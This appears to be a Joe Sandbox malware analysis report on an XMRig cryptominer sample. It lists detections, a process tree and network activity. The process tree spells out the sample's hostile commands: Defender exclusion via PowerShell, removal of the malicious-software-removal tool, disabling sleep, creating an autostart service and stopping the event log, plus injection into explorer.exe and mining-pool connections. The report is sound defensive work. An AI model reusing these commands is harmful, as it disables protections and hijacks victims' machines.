Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
NH95Vhokye.exe

Overview

General Information

Sample name:NH95Vhokye.exe
renamed because original name is a hash value
Original sample name:ad490bb460209b6a9183f7a5e7093c27f5b09cd26f2ab59d34b290d4f8bd69e9.exe
Analysis ID:1552436
MD5:5c55da00932dc856a0ea2300548d7ba8
SHA1:0086bd795859a806345162e058b2bf76289ab3d8
SHA256:ad490bb460209b6a9183f7a5e7093c27f5b09cd26f2ab59d34b290d4f8bd69e9
Tags:exeuser-Chainskilabs
Infos:

Detection

Xmrig
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Disable power options
Sigma detected: Stop EventLog
System process connects to network (likely due to code injection or exploit)
Yara detected Xmrig cryptocurrency miner
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
DNS related to crypt mining pools
Injects code into the Windows Explorer (explorer.exe)
Loading BitLocker PowerShell Module
Modifies power options to not sleep / hibernate
Modifies the context of a thread in another process (thread injection)
Query firmware table information (likely to detect VMs)
Sample is not signed and drops a device driver
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Uses powercfg.exe to modify the power settings
AV process strings found (often used to terminate AV products)
Contains functionality to call native functions
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates driver files
Deletes files inside the Windows folder
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Powershell Defender Exclusion
Suricata IDS alerts with low severity for network traffic
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • NH95Vhokye.exe (PID: 7640 cmdline: "C:\Users\user\Desktop\NH95Vhokye.exe" MD5: 5C55DA00932DC856A0EA2300548D7BA8)
    • powershell.exe (PID: 7668 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 7692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 7940 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 7956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • wusa.exe (PID: 8172 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)
    • powercfg.exe (PID: 7948 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 7980 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 7964 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 8012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 7972 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 8020 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 7988 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 8036 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 8004 cmdline: C:\Windows\system32\sc.exe delete "MVYPJKYP" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 8048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 7220 cmdline: C:\Windows\system32\sc.exe create "MVYPJKYP" binpath= "C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exe" start= "auto" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 1304 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 6436 cmdline: C:\Windows\system32\sc.exe stop eventlog MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 2132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 968 cmdline: C:\Windows\system32\sc.exe start "MVYPJKYP" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 3104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • gbljiflhnnhn.exe (PID: 6232 cmdline: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exe MD5: 5C55DA00932DC856A0EA2300548D7BA8)
    • powershell.exe (PID: 1980 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 2532 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 3540 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 3156 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • wusa.exe (PID: 7760 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)
    • powercfg.exe (PID: 3132 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 7548 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 3304 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 4872 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 3980 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 7448 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 6292 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 4084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • conhost.exe (PID: 7516 cmdline: C:\Windows\system32\conhost.exe MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • explorer.exe (PID: 7780 cmdline: explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
xmrigAccording to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000026.00000002.3777571512.00000000007CB000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
    00000026.00000002.3777571512.0000000000736000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
      00000026.00000002.3777571512.0000000000750000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
        Process Memory Space: explorer.exe PID: 7780JoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security

          Sigma Signatures

          Change of critical system settings

          barindex
          Sigma detected: Disable power options
          Source: Process startedAuthor: Joe Security: Data: Command: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine|base64offset|contains: , Image: C:\Windows\System32\powercfg.exe, NewProcessName: C:\Windows\System32\powercfg.exe, OriginalFileName: C:\Windows\System32\powercfg.exe, ParentCommandLine: "C:\Users\user\Desktop\NH95Vhokye.exe", ParentImage: C:\Users\user\Desktop\NH95Vhokye.exe, ParentProcessId: 7640, ParentProcessName: NH95Vhokye.exe, ProcessCommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, ProcessId: 7948, ProcessName: powercfg.exe

          System Summary

          barindex
          Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
          Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\NH95Vhokye.exe", ParentImage: C:\Users\user\Desktop\NH95Vhokye.exe, ParentProcessId: 7640, ParentProcessName: NH95Vhokye.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7668, ProcessName: powershell.exe
          Sigma detected: Powershell Defender Exclusion
          Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\NH95Vhokye.exe", ParentImage: C:\Users\user\Desktop\NH95Vhokye.exe, ParentProcessId: 7640, ParentProcessName: NH95Vhokye.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7668, ProcessName: powershell.exe
          Sigma detected: New Service Creation Using Sc.EXE
          Source: Process startedAuthor: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\system32\sc.exe create "MVYPJKYP" binpath= "C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exe" start= "auto", CommandLine: C:\Windows\system32\sc.exe create "MVYPJKYP" binpath= "C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exe" start= "auto", CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\NH95Vhokye.exe", ParentImage: C:\Users\user\Desktop\NH95Vhokye.exe, ParentProcessId: 7640, ParentProcessName: NH95Vhokye.exe, ProcessCommandLine: C:\Windows\system32\sc.exe create "MVYPJKYP" binpath= "C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exe" start= "auto", ProcessId: 7220, ProcessName: sc.exe
          Sigma detected: Non Interactive PowerShell Process Spawned
          Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\NH95Vhokye.exe", ParentImage: C:\Users\user\Desktop\NH95Vhokye.exe, ParentProcessId: 7640, ParentProcessName: NH95Vhokye.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7668, ProcessName: powershell.exe

          HIPS / PFW / Operating System Protection Evasion

          barindex
          Sigma detected: Stop EventLog
          Source: Process startedAuthor: Joe Security: Data: Command: C:\Windows\system32\sc.exe stop eventlog, CommandLine: C:\Windows\system32\sc.exe stop eventlog, CommandLine|base64offset|contains: ), Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\NH95Vhokye.exe", ParentImage: C:\Users\user\Desktop\NH95Vhokye.exe, ParentProcessId: 7640, ParentProcessName: NH95Vhokye.exe, ProcessCommandLine: C:\Windows\system32\sc.exe stop eventlog, ProcessId: 6436, ProcessName: sc.exe

          Suricata Signatures

          TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
          2024-11-08T19:14:11.408400+010020229301A Network Trojan was detected20.109.210.53443192.168.2.949791TCP
          2024-11-08T19:14:49.871429+010020229301A Network Trojan was detected4.245.163.56443192.168.2.949973TCP

          Joe Sandbox Signatures

          Click to jump to signature section

          Show All Signature Results

          AV Detection

          barindex
          Multi AV Scanner detection for dropped file
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeReversingLabs: Detection: 65%
          Multi AV Scanner detection for submitted file
          Source: NH95Vhokye.exeReversingLabs: Detection: 65%
          AI detected suspicious sample
          Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability

          Bitcoin Miner

          barindex
          Yara detected Xmrig cryptocurrency miner
          Source: Yara matchFile source: 00000026.00000002.3777571512.00000000007CB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000026.00000002.3777571512.0000000000736000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000026.00000002.3777571512.0000000000750000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: Process Memory Space: explorer.exe PID: 7780, type: MEMORYSTR
          DNS related to crypt mining pools
          Source: unknownDNS query: name: xmr-eu1.nanopool.org
          Source: NH95Vhokye.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
          Source: Binary string: pY^HrnaHw{FJ`lBlvy] n8oNNRUYue$Hm\[>*keZyZEkpNXR*g\vKAlWLG[4lC`_.pdbRbFwf^<U-ev(Sz|Bsl| source: conhost.exe, 00000024.00000002.3777635928.0000012F452F0000.00000004.00000001.00020000.00000000.sdmp
          Source: Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: gbljiflhnnhn.exe, 00000018.00000003.1384880346.000002B5197D0000.00000004.00000001.00020000.00000000.sdmp

          Networking

          barindex
          System process connects to network (likely due to code injection or exploit)
          Source: C:\Windows\explorer.exeNetwork Connect: 51.15.193.130 10343
          Source: global trafficTCP traffic: 192.168.2.9:49742 -> 51.15.193.130:10343
          Source: Joe Sandbox ViewIP Address: 51.15.193.130 51.15.193.130
          Source: Joe Sandbox ViewASN Name: OnlineSASFR OnlineSASFR
          Source: Network trafficSuricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.9:49791
          Source: Network trafficSuricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.9:49973
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: global trafficDNS traffic detected: DNS query: xmr-eu1.nanopool.org
          Source: explorer.exe, 00000026.00000002.3778018002.0000000001090000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000026.00000002.3777571512.0000000000750000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.cloudflare.com/origin_ca.crl
          Source: explorer.exe, 00000026.00000002.3777571512.000000000077B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.cloudflare.com/origin_ca.crl0
          Source: explorer.exe, 00000026.00000002.3777571512.0000000000750000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.cloudflare.com/origin_ca.crlc8
          Source: gbljiflhnnhn.exe, 00000018.00000003.1384880346.000002B5197D0000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
          Source: gbljiflhnnhn.exe, 00000018.00000003.1384880346.000002B5197D0000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/Root.crl0
          Source: gbljiflhnnhn.exe, 00000018.00000003.1384880346.000002B5197D0000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/RootSignPartners.crl0
          Source: gbljiflhnnhn.exe, 00000018.00000003.1384880346.000002B5197D0000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/primobject.crl0
          Source: explorer.exe, 00000026.00000002.3777571512.0000000000750000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.cloudflare.com/origin_ca
          Source: explorer.exe, 00000026.00000002.3777571512.000000000077B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000026.00000002.3778018002.0000000001090000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.cloudflare.com/origin_ca0

          System Summary

          barindex
          Uses powercfg.exe to modify the power settings
          Source: C:\Users\user\Desktop\NH95Vhokye.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
          Source: C:\Users\user\Desktop\NH95Vhokye.exeCode function: 0_2_00007FF7657B1394 NtGetWriteWatch,0_2_00007FF7657B1394
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeCode function: 24_2_00007FF7DE5A1394 NtNotifyChangeKey,24_2_00007FF7DE5A1394
          Source: C:\Windows\System32\conhost.exeCode function: 36_2_0000000140001394 NtQueryAttributesFile,36_2_0000000140001394
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeFile created: C:\Windows\TEMP\lwvtwwbvppbh.sysJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile deleted: C:\Windows\Temp\__PSScriptPolicyTest_wgbnj3d4.zi2.ps1Jump to behavior
          Source: C:\Users\user\Desktop\NH95Vhokye.exeCode function: 0_2_00007FF7657B3B500_2_00007FF7657B3B50
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeCode function: 24_2_00007FF7DE5A3B5024_2_00007FF7DE5A3B50
          Source: C:\Windows\System32\conhost.exeCode function: 36_2_000000014000315036_2_0000000140003150
          Source: C:\Windows\System32\conhost.exeCode function: 36_2_00000001400026E036_2_00000001400026E0
          Source: Joe Sandbox ViewDropped File: C:\Windows\Temp\lwvtwwbvppbh.sys 11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
          Source: C:\Users\user\Desktop\NH95Vhokye.exeCode function: String function: 00007FF7657B1394 appears 33 times
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeCode function: String function: 00007FF7DE5A1394 appears 33 times
          Source: classification engineClassification label: mal100.spyw.evad.mine.winEXE@58/12@1/1
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7956:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8012:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:7448:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8020:120:WilError_03
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7980:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2132:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:3156:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3104:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8036:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:4872:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8048:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7692:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:2532:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:4084:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:7548:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1304:120:WilError_03
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ayg5avan.hir.ps1Jump to behavior
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeProcess created: C:\Windows\explorer.exe
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeProcess created: C:\Windows\explorer.exeJump to behavior
          Source: NH95Vhokye.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
